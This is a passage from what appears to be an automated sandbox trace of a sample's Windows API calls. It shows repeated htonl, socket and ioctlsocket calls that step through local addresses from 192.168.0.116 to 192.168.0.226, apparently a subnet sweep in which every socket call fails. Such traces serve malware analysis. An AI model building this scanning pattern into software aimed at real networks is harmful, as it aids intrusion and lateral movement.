(hostlong=0xc0a80074) returned 0x7400a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a80075) returned 0x7500a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a80076) returned 0x7600a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a80077) returned 0x7700a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a80078) returned 0x7800a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a80079) returned 0x7900a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a8007a) returned 0x7a00a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a8007b) returned 0x7b00a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a8007c) returned 0x7c00a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a8007d) returned 0x7d00a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a8007e) returned 0x7e00a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a8007f) returned 0x7f00a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.124] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.124] htonl (hostlong=0xc0a80080) returned 0x8000a8c0 [0210.124] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80081) returned 0x8100a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80082) returned 0x8200a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80083) returned 0x8300a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80084) returned 0x8400a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80085) returned 0x8500a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80086) returned 0x8600a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.125] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.125] htonl (hostlong=0xc0a80087) returned 0x8700a8c0 [0210.125] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a80088) returned 0x8800a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a80089) returned 0x8900a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a8008a) returned 0x8a00a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a8008b) returned 0x8b00a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a8008c) returned 0x8c00a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a8008d) returned 0x8d00a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a8008e) returned 0x8e00a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.126] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.126] htonl (hostlong=0xc0a8008f) returned 0x8f00a8c0 [0210.126] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80090) returned 0x9000a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80091) returned 0x9100a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80092) returned 0x9200a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80093) returned 0x9300a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80094) returned 0x9400a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80095) returned 0x9500a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80096) returned 0x9600a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80097) returned 0x9700a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80098) returned 0x9800a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a80099) returned 0x9900a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.127] htonl (hostlong=0xc0a8009a) returned 0x9a00a8c0 [0210.127] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.127] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a8009b) returned 0x9b00a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a8009c) returned 0x9c00a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a8009d) returned 0x9d00a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a8009e) returned 0x9e00a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a8009f) returned 0x9f00a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a0) returned 0xa000a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a1) returned 0xa100a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a2) returned 0xa200a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a3) returned 0xa300a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a4) returned 0xa400a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a5) returned 0xa500a8c0 [0210.128] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.128] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.128] htonl (hostlong=0xc0a800a6) returned 0xa600a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800a7) returned 0xa700a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800a8) returned 0xa800a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800a9) returned 0xa900a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800aa) returned 0xaa00a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800ab) returned 0xab00a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800ac) returned 0xac00a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800ad) returned 0xad00a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800ae) returned 0xae00a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800af) returned 0xaf00a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800b0) returned 0xb000a8c0 [0210.129] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.129] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.129] htonl (hostlong=0xc0a800b1) returned 0xb100a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b2) returned 0xb200a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b3) returned 0xb300a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b4) returned 0xb400a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b5) returned 0xb500a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b6) returned 0xb600a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b7) returned 0xb700a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b8) returned 0xb800a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800b9) returned 0xb900a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800ba) returned 0xba00a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800bb) returned 0xbb00a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.130] htonl (hostlong=0xc0a800bc) returned 0xbc00a8c0 [0210.130] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.130] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800bd) returned 0xbd00a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800be) returned 0xbe00a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800bf) returned 0xbf00a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c0) returned 0xc000a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c1) returned 0xc100a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c2) returned 0xc200a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c3) returned 0xc300a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c4) returned 0xc400a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c5) returned 0xc500a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c6) returned 0xc600a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c7) returned 0xc700a8c0 [0210.131] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.131] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.131] htonl (hostlong=0xc0a800c8) returned 0xc800a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800c9) returned 0xc900a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800ca) returned 0xca00a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800cb) returned 0xcb00a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800cc) returned 0xcc00a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800cd) returned 0xcd00a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800ce) returned 0xce00a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800cf) returned 0xcf00a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800d0) returned 0xd000a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800d1) returned 0xd100a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800d2) returned 0xd200a8c0 [0210.132] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.132] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.132] htonl (hostlong=0xc0a800d3) returned 0xd300a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800d4) returned 0xd400a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800d5) returned 0xd500a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800d6) returned 0xd600a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800d7) returned 0xd700a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800d8) returned 0xd800a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800d9) returned 0xd900a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800da) returned 0xda00a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800db) returned 0xdb00a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800dc) returned 0xdc00a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800dd) returned 0xdd00a8c0 [0210.133] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.133] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.133] htonl (hostlong=0xc0a800de) returned 0xde00a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800df) returned 0xdf00a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e0) returned 0xe000a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e1) returned 0xe100a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl (hostlong=0xc0a800e2) returned 0xe200a8c0 [0210.134] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.134] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.134] htonl 